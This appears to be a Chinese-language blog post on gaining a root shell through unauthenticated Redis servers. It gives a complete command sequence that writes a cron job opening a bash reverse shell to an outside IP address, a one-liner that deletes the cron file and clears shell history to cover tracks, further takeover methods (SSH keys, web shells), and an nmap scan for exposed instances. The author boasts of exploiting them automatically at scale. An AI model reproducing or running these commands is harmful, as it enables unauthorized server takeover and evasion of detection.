# Redis到GET SHELL

## 背景

Redis默认安装完成后是只能本机访问的并且没有密码。

而一般公司的应用都会需要多台服务器访问Redis，所以运维就会将/etc/redis.conf中的bind-ip改为0.0.0.0，导致外网可以匿名访问（不需要密码）。

外网可以访问导致的问题是Redis数据外泄，这时候还不能造成直接利用。

但如果Redis启动的时候是用root账户，则会造成GET SHELL。

## 利用方式

通过Redis的config命令，可以写入任意文件，权限足够的情况下即可写入定时任务反弹得到SHELL

# 连上一台Redis

redis-cli -h your\_redis\_server

# 保持写入的干净，清除原有数据（如果是其它人机器，不建议这么做）# flushall

# 设置key(0)为bash反弹shell的脚本，每分钟执行一次，在自己服务器上监听7890端口(nc -vvl 7890)set 0 "\n\n\*/1 \* \* \* \* /bin/bash -i >& /dev/tcp/103.21.140.84/7890 0>&1\n\n"

# 设置保存的位置

config set dir /var/spool/cron/

# 设置保存的文件名

config set dbfilename root

# 保存

save

# 至此就会在目标Redis服务器产生一个Cron文件/var/spool/cron/root，如果目标服务器Crond服务没有关闭的话，该文件就会每分钟反弹一次SHELL。# 只需要在自己的服务器上监听7890端口，即可控制目标服务器。

退出目标服务器时，为了防止Cron再次连接，可以用如下命令退出

ps aux | grep 7890 | awk '{ print $2 }'|xargs kill;rm -f /var/spool/cron/root;history -c && exit

## 多种利用姿势

除了可以直接写定时任务拿到SHELL，还可以有多种姿势。

·写cron反弹一个shell

·写~/.ssh/authorized\_keys，使用密钥直接登录

·找到web目录的绝对路径，直接写web shell

·写初始化脚本

·/etc/profile.d/

·主从模式利用

## 企业内部Redis匿名挖掘

通过nmap扫描内网网段的redis匿名访问服务。（当然可以扫描外网）

$ nmap -p6379 10.11.0/16 --script redis-info

就是这个洞让我wooyun排名10天前进10页，当然是加到我的扫描器内（[Vulture](https://github.com/wufeifei/vulture)），自动化利用，每天就看下报告即可。